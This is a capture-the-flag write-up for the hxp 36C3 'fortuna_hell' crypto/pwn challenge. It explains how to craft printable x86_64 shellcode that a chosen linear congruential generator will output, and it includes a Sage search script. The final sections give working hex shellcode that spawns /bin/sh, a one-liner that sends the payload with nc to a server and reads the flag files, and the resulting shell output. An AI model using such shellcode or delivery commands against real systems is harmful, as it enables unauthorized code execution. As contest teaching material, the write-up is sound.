## hxp 36C3 CTF: fortuna_hell

###### crypto/pwn (769 points, 4 solves)

This challenge was a classical nonsensical shellcoding problem: To solve it, one had to find a linear congruential generator (LCG) whose output is printable x86_64 shellcode starting with the string hxp<3.

It seems that some teams made assumptions on the (randomized) register values in their shellcode and simply kept retrying their payload $2^{16}$ times, but there was actually at least one deterministic one-shot solution which I’ll show here.

Let’s first look at the full challenge binary (which was hand-crafted in assembly):

000000E8  31C0              xor eax,eax
000000EA  FEC0              inc al
000000EC  48C1E023          shl rax,byte 0x23
000000F0  48FFC8            dec rax
000000F3  48C1E00C          shl rax,byte 0xc
000000F7  480FC7F7          rdrand rdi
000000FB  4821C7            and rdi,rax
000000FE  31F6              xor esi,esi
00000100  FFC6              inc esi
00000102  C1E60C            shl esi,byte 0xc
00000105  400FB6D6          movzx edx,sil
00000109  21D0              and eax,edx
0000010B  80F207            xor dl,0x7
0000010E  6A22              push byte +0x22
00000110  50                push rax
00000111  50                push rax
00000112  4158              pop r8
00000114  0C09              or al,0x9
00000116  4159              pop r9
00000118  49F7D0            not r8
0000011B  4989FF            mov r15,rdi
0000011E  415A              pop r10
00000120  0F05              syscall                             ; mmap()

00000122  31C0              xor eax,eax
00000124  99                cdq
00000125  89D7              mov edi,edx
00000127  80F220            xor dl,0x20
0000012A  4829D4            sub rsp,rdx
0000012D  4889E6            mov rsi,rsp
00000132  FC                cld
00000133  C1F805            sar eax,byte 0x5
00000136  FFC8              dec eax
00000138  7554              jnz 0x18e

0000013A  4C89FF            mov rdi,r15
0000013D  B8490FC7F7        mov eax,0xf7c70f49                  ; this is rdrand r15
00000142  AB                stosd

00000143  5D                pop rbp                             ; m
00000144  5B                pop rbx                             ; a
00000145  59                pop rcx                             ; b
00000146  58                pop rax                             ; x

00000147  4D31C0            xor r8,r8
0000014A  49FFC0            inc r8
0000014D  49C1E028          shl r8,byte 0x28
00000151  49FFC8            dec r8

0000015B  48F7E3            mul rbx
00000165  48F7F5            div rbp
00000168  4929D1            sub r9,rdx
0000016B  4D21C8            and r8,r9
0000016E  751E              jnz 0x18e
00000170  4889D0            mov rax,rdx
00000173  40B608            mov sil,0x8
00000176  3C20                  cmp al,0x20
00000178  7213                  jc 0x18d
0000017A  3C7E                  cmp al,0x7e
0000017C  770F                  ja 0x18d
0000017E  AA                    stosb
0000017F  48C1E808              shr rax,byte 0x8
00000183  40FECE                dec sil
00000186  75EE                  jnz 0x176
00000188  4889D0            mov rax,rdx
0000018B  EBCE              jmp short 0x15b

0000018D  B0CC              mov al,0xcc                         ; also int3 at 0x18e
0000018F  AA                stosb
00000190  480FC7F0          rdrand rax
00000194  480FC7F1          rdrand rcx
00000198  480FC7F2          rdrand rdx
0000019C  480FC7F3          rdrand rbx
000001A0  4C89FC            mov rsp,r15
000001A3  48C1EC0C          shr rsp,byte 0xc
000001A7  48FFC4            inc rsp
000001AA  48C1E40C          shl rsp,byte 0xc
000001AE  480FC7F5          rdrand rbp
000001B2  480FC7F6          rdrand rsi
000001B6  480FC7F7          rdrand rdi
000001BA  490FC7F0          rdrand r8
000001BE  490FC7F1          rdrand r9
000001C2  490FC7F2          rdrand r10
000001C6  490FC7F3          rdrand r11
000001CA  490FC7F4          rdrand r12
000001CE  490FC7F5          rdrand r13
000001D2  490FC7F6          rdrand r14
000001D6  41FFE7            jmp r15


In a nutshell, the server reads the LCG parameters $m$, $a$, $b$, $x$, all 64-bit integers, and then proceeds to write the LCG’s output to an rwx page, until it encounters a byte that is not between 0x20 and 0x7e. It then appends an int3 instruction and sets up a new stack at the end of the same page, randomizes all the registers, and finally jumps to the beginning of the shellcode.

Assuming for a moment that we already have a good shellcode, how do we find an LCG that outputs it? This is a well-known problem (at least among CTF cryptographers/reversers, I suppose), and boils down to some simple arithmetic and linear algebra. The bigger problem is that in our case, it is quite unlikely that some random old shellcode will be the output of a LCG! For example, information-theoretically, we clearly have only 32 bytes of freedom to play with (and smaller moduli actually render some of the other information redundant), so most byte strings of length $>32$ are exceedingly unlikely to come from a LCG. Furthermore, having e.g. a byte 0xff at offset 7 and a modulus smaller than 0xff00000000000001 will make it impossible to ever output that byte at that position. These things together mean that we need to (1) minimize the length of our shellcode, and (2) still make sure we have enough freedom to brute-force through “many” shellcodes in case we picked a bad one that doesn’t come from an LCG.

After a few rounds of optimizations, the shellcode we came up with is:

push 0x333c7078

push rsp
pop rax
sub al, 0x40
push rax
pop rsp

push rsp    /* sp */

sub al, 0x40
push rax
pop rsi

push 0x252f787f
pop rax
xor eax, 0x20202020
push rax
pop rdx
pop rax     /* sp */
pop rbx     /* dummy, will be changed by the add [rax],al along the way */
.byte 0x75  /* jnz imm8 */


There are a few things to notice here:

• This sets up another read() onto the stack and executes the shellcode it receives.
• The length is 33 bytes — it is a priori rather unlikely that this shellcode is the output of an LCG (and in fact it’s not).
• We have quite a bit of freedom in the XOR mask 0x20202020: The only requirement is that the constant 0x252f787f pushed before and the XOR mask are both printable and their XOR equals 0x050f585f, which corresponds to the assembly instructions pop rdi; pop rax; syscall.
• There is a little bit more freedom in the 0x40 constant, but exploiting that turned out to be unnecessary.
• In order to survive the 0xcc byte (int3 instruction) that’s being appended and safely fall through into lots of zero bytes (mov [rax], al), we require the following constraints on the bytes following the shellcode above: The first byte after the 0x75 byte must be printable and odd. and the byte following that must be non-printable.
This makes sure the jnz at the end of the shellcode turns into a short jump “a few” bytes ahead, such that the zero bytes on the rwx page turn into many harmless add [rax], al instructions and falls through cleanly into the shellcode pushed onto the stack at the end of the page earlier. The condition that the following byte be non-printable is perhaps not strictly necessary, but makes sure to terminate the shellcode at that point, which seemed reasonable at the time.

Mathematically, it is convenient to express the problem of finding an LCG that produces a specific output as a matrix: If the four first output values should be $z_0,z_1,z_2,z_3$, we are trying to find LCG parameters $m,a,b$ such that $\underbrace{\begin{pmatrix} z_0 & 1 & z_1 \\ z_1 & 1 & z_2 \\ z_2 & 1 & z_3 \end{pmatrix}}_{=:M} \cdot \begin{pmatrix} a \\ b \\ -1 \end{pmatrix} \equiv 0 \pmod m \,\text.$

In other words, we are looking for a divisor $m\mid{\det M}$ and a vector $v$ of the form $(a,\,b,\,{-1})$ in the (right) kernel of the matrix $M$ modulo $m$. If the modulus $m$ is greater than all target values $z_0,…,z_3$, the output values will be correct not only modulo $m$, but as integers, and we’re done.

We thus proceed as follows: Iterate through many choices of semantically equivalent, short shellcode; for each of them write down the matrix $M$; factor its determinant; and hope that the determinant has a divisor bigger than all $z_i$ to figure out LCG parameters. Then compute the next two output bytes and check if they satisfy the constraints mentioned above; else retry. Here’s a sage implementation of this search step:

#!/usr/bin/env sage
import struct, itertools

hx = '{:016x}'.format
printable = range(0x20,0x7f)

template = '6878703c3354582c40505c542c40505e68{}5835{}505a585b75'

def xorpairs():
t = '5f580f05'.decode('hex')
for d0 in printable[1:]:
for d1 in printable[1:]:
for d2 in printable[1:]:
for d3 in printable:
ds = d0,d1,d2,d3
x = ''.join(chr(ds[i]) for i in range(4))
y = ''.join(chr(ord(t[i])^^ds[i]) for i in range(4))
if all(ord(b) in printable for b in y):
yield (x, y)

cnt = 0
for x,y in xorpairs():
cnt += 1

shc = template.format(x.encode('hex'), y.encode('hex')).replace(' ','').decode('hex')
assert all(ord(b) in printable for b in shc)

x = [struct.unpack('<Q', shc[i:i+8].ljust(8,b'\0'))[0] for i in range(0, len(shc), 8)]
print('\x1b[35m{:6}\x1b[0m  \x1b[33m{}\x1b[0m'.format(cnt, ' '.join(map(hx, x))))
x = x[:4]

A = matrix([
[x0, 1, x1]
for x0, x1 in zip(x, x[1:])
])

for d in A.det().divisors():
if max(x) < d < 2**64:
m = d
break
else:
continue

print('        m = \x1b[34m{}\x1b[0m'.format(hx(m)))

r = vector(A[:,-1])
A = A.change_ring(Zmod(m))[:,:2]

try:
a, b = A.solve_right(r)
except ValueError:
continue
if not a.is_unit():
continue

assert a * x[0] + b == x[1]
assert a * x[1] + b == x[2]
assert a * x[2] + b == x[3]
nxt = ZZ(a * x[3] + b)
if nxt & 0xff not in printable or not (nxt & 1) or (nxt >> 8) & 0xff in printable:
continue

print('        a = \x1b[34m{}\x1b[0m'.format(hx(ZZ(a))))
print('        b = \x1b[34m{}\x1b[0m'.format(hx(ZZ(b))))

y = (x[0] - b) / a

m,a,b,y = map(ZZ,(m,a,b,y))
print('    --> \x1b[36m{}\x1b[0m'.format(' '.join(map('{:#018x}'.format, (m, a, b, y)))))
print('        next: \x1b[31m{}\x1b[0m'.format(hx(nxt)))
print('    --> \x1b[32m{}\x1b[0m'.format(struct.pack('<QQQQ', m, a, b, y).encode('hex')))

break


Running this script prints:

     1  2c5854333c707868 5e50402c545c5040 7e35582021212168 755b585a50252e79
2  2c5854333c707868 5e50402c545c5040 7e35582121212168 755b585a50242e79
3  2c5854333c707868 5e50402c545c5040 7e35582221212168 755b585a50272e79
4  2c5854333c707868 5e50402c545c5040 7e35582321212168 755b585a50262e79
5  2c5854333c707868 5e50402c545c5040 7e35582421212168 755b585a50212e79
6  2c5854333c707868 5e50402c545c5040 7e35582521212168 755b585a50202e79
m = 9522d2dfc05020e8
7  2c5854333c707868 5e50402c545c5040 7e35582621212168 755b585a50232e79
8  2c5854333c707868 5e50402c545c5040 7e35582721212168 755b585a50222e79
9  2c5854333c707868 5e50402c545c5040 7e35582821212168 755b585a502d2e79
m = d40453a3f47a1f04
10  2c5854333c707868 5e50402c545c5040 7e35582921212168 755b585a502c2e79
11  2c5854333c707868 5e50402c545c5040 7e35582a21212168 755b585a502f2e79
12  2c5854333c707868 5e50402c545c5040 7e35582b21212168 755b585a502e2e79
m = bbfe8e2c23a15b7a
13  2c5854333c707868 5e50402c545c5040 7e35582c21212168 755b585a50292e79
m = b64342ba119069ae
14  2c5854333c707868 5e50402c545c5040 7e35582d21212168 755b585a50282e79
15  2c5854333c707868 5e50402c545c5040 7e35582e21212168 755b585a502b2e79
16  2c5854333c707868 5e50402c545c5040 7e35582f21212168 755b585a502a2e79
17  2c5854333c707868 5e50402c545c5040 7e35583021212168 755b585a50352e79
m = a581933e8db229d3
18  2c5854333c707868 5e50402c545c5040 7e35583121212168 755b585a50342e79
19  2c5854333c707868 5e50402c545c5040 7e35583221212168 755b585a50372e79
20  2c5854333c707868 5e50402c545c5040 7e35583321212168 755b585a50362e79
21  2c5854333c707868 5e50402c545c5040 7e35583421212168 755b585a50312e79
22  2c5854333c707868 5e50402c545c5040 7e35583521212168 755b585a50302e79
23  2c5854333c707868 5e50402c545c5040 7e35583621212168 755b585a50332e79
24  2c5854333c707868 5e50402c545c5040 7e35583721212168 755b585a50322e79
25  2c5854333c707868 5e50402c545c5040 7e35583821212168 755b585a503d2e79
26  2c5854333c707868 5e50402c545c5040 7e35583921212168 755b585a503c2e79
27  2c5854333c707868 5e50402c545c5040 7e35583a21212168 755b585a503f2e79
28  2c5854333c707868 5e50402c545c5040 7e35583b21212168 755b585a503e2e79
29  2c5854333c707868 5e50402c545c5040 7e35583c21212168 755b585a50392e79
30  2c5854333c707868 5e50402c545c5040 7e35583d21212168 755b585a50382e79
31  2c5854333c707868 5e50402c545c5040 7e35583e21212168 755b585a503b2e79
32  2c5854333c707868 5e50402c545c5040 7e35583f21212168 755b585a503a2e79
m = 7f4089f2b82d7a74
33  2c5854333c707868 5e50402c545c5040 7e35584021212168 755b585a50452e79
34  2c5854333c707868 5e50402c545c5040 7e35584121212168 755b585a50442e79
m = 861d118642fa2edb
35  2c5854333c707868 5e50402c545c5040 7e35584221212168 755b585a50472e79
36  2c5854333c707868 5e50402c545c5040 7e35584321212168 755b585a50462e79
37  2c5854333c707868 5e50402c545c5040 7e35584421212168 755b585a50412e79
38  2c5854333c707868 5e50402c545c5040 7e35584521212168 755b585a50402e79
m = dc6feb448a70a1e2
39  2c5854333c707868 5e50402c545c5040 7e35584621212168 755b585a50432e79
40  2c5854333c707868 5e50402c545c5040 7e35584721212168 755b585a50422e79
41  2c5854333c707868 5e50402c545c5040 7e35584821212168 755b585a504d2e79
42  2c5854333c707868 5e50402c545c5040 7e35584921212168 755b585a504c2e79
43  2c5854333c707868 5e50402c545c5040 7e35584a21212168 755b585a504f2e79
44  2c5854333c707868 5e50402c545c5040 7e35584b21212168 755b585a504e2e79
m = 84582fbb9aef5aa6
45  2c5854333c707868 5e50402c545c5040 7e35584c21212168 755b585a50492e79
46  2c5854333c707868 5e50402c545c5040 7e35584d21212168 755b585a50482e79
47  2c5854333c707868 5e50402c545c5040 7e35584e21212168 755b585a504b2e79
48  2c5854333c707868 5e50402c545c5040 7e35584f21212168 755b585a504a2e79
m = a3b609ee2ef85908
49  2c5854333c707868 5e50402c545c5040 7e35585021212168 755b585a50552e79
50  2c5854333c707868 5e50402c545c5040 7e35585121212168 755b585a50542e79
m = 875c15df8d7f7578
51  2c5854333c707868 5e50402c545c5040 7e35585221212168 755b585a50572e79
52  2c5854333c707868 5e50402c545c5040 7e35585321212168 755b585a50562e79
m = 98961f174cbf8bd4
53  2c5854333c707868 5e50402c545c5040 7e35585421212168 755b585a50512e79
m = 95b71a28be59f86c
54  2c5854333c707868 5e50402c545c5040 7e35585521212168 755b585a50502e79
m = 7e68d45d41f57b17
55  2c5854333c707868 5e50402c545c5040 7e35585621212168 755b585a50532e79
56  2c5854333c707868 5e50402c545c5040 7e35585721212168 755b585a50522e79
57  2c5854333c707868 5e50402c545c5040 7e35585821212168 755b585a505d2e79
m = 7f9fe8ac2258e4e4
58  2c5854333c707868 5e50402c545c5040 7e35585921212168 755b585a505c2e79
59  2c5854333c707868 5e50402c545c5040 7e35585a21212168 755b585a505f2e79
m = b26c3418ab1586fa
60  2c5854333c707868 5e50402c545c5040 7e35585b21212168 755b585a505e2e79
61  2c5854333c707868 5e50402c545c5040 7e35585c21212168 755b585a50592e79
m = 92b859b334e18e53
62  2c5854333c707868 5e50402c545c5040 7e35585d21212168 755b585a50582e79
63  2c5854333c707868 5e50402c545c5040 7e35585e21212168 755b585a505b2e79
64  2c5854333c707868 5e50402c545c5040 7e35585f21212168 755b585a505a2e79
65  2c5854333c707868 5e50402c545c5040 7e35586021212168 755b585a50652e79
m = 94362c500f581da8
66  2c5854333c707868 5e50402c545c5040 7e35586121212168 755b585a50642e79
67  2c5854333c707868 5e50402c545c5040 7e35586221212168 755b585a50672e79
68  2c5854333c707868 5e50402c545c5040 7e35586321212168 755b585a50662e79
69  2c5854333c707868 5e50402c545c5040 7e35586421212168 755b585a50612e79
70  2c5854333c707868 5e50402c545c5040 7e35586521212168 755b585a50602e79
71  2c5854333c707868 5e50402c545c5040 7e35586621212168 755b585a50632e79
m = a12a61b13a0aab69
72  2c5854333c707868 5e50402c545c5040 7e35586721212168 755b585a50622e79
73  2c5854333c707868 5e50402c545c5040 7e35586821212168 755b585a506d2e79
74  2c5854333c707868 5e50402c545c5040 7e35586921212168 755b585a506c2e79
m = 8527a7a41e83d8e4
75  2c5854333c707868 5e50402c545c5040 7e35586a21212168 755b585a506f2e79
76  2c5854333c707868 5e50402c545c5040 7e35586b21212168 755b585a506e2e79
77  2c5854333c707868 5e50402c545c5040 7e35586c21212168 755b585a50692e79
m = 8510ab62a60f6d7d
78  2c5854333c707868 5e50402c545c5040 7e35586d21212168 755b585a50682e79
m = 7e4f3067d5779988
79  2c5854333c707868 5e50402c545c5040 7e35586e21212168 755b585a506b2e79
80  2c5854333c707868 5e50402c545c5040 7e35586f21212168 755b585a506a2e79
81  2c5854333c707868 5e50402c545c5040 7e35587021212168 755b585a50752e79
82  2c5854333c707868 5e50402c545c5040 7e35587121212168 755b585a50742e79
83  2c5854333c707868 5e50402c545c5040 7e35587221212168 755b585a50772e79
m = b7aaca0e4998cc2d
a = a8238280c18b0b53
b = 570cdd203c6dc6dd
--> 0xb7aaca0e4998cc2d 0xa8238280c18b0b53 0x570cdd203c6dc6dd 0x39d4ef315060330b
next: 1ffe27f913cce059
--> 2dcc98490ecaaab7530b8bc1808223a8ddc66d3c20dd0c570b33605031efd439


The last line is the hex-encoded data that we need to send to the server to get it to run our shellcode. After this, we can simply send basic x86_64 /bin/sh shellcode to execute a shell. The final payload thus reads:

2dcc98490ecaaab7530b8bc1808223a8ddc66d3c20dd0c570b33605031efd439
488d3d0900000031c099b03b31f60f052f62696e2f73680090909090909090909090909090909090909090909090909090909090909090909090909090909090ebbe


(The first line are 32 bytes of LCG parameters, the second is the second-stage shellcode.) With this, we can get the flag:

$(echo 2dcc98490ecaaab7530b8bc1808223a8ddc66d3c20dd0c570b33605031efd439488d3d0900000031c099b03b31f60f052f62696e2f73680090909090909090909090909090909090909090909090909090909090909090909090909090909090ebbe | xxd -r -p; sleep 1; echo 'id; ls -l; cat flag*; exit') | nc$SERVER_IP 6666
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
total 8
-r--r--r-- 1 root root  70 Dec  4 22:51 flag_8qk62bBOAwioWya2.txt
-r-xr-xr-x 1 root root 473 Apr  4  2019 vuln
hxp{w0W_y0u_mu5T_b3_pr3TtY_LUckY!_0r_m4yB3_jU5t_g00D_w1tH_C0mPUt0rz?}
\$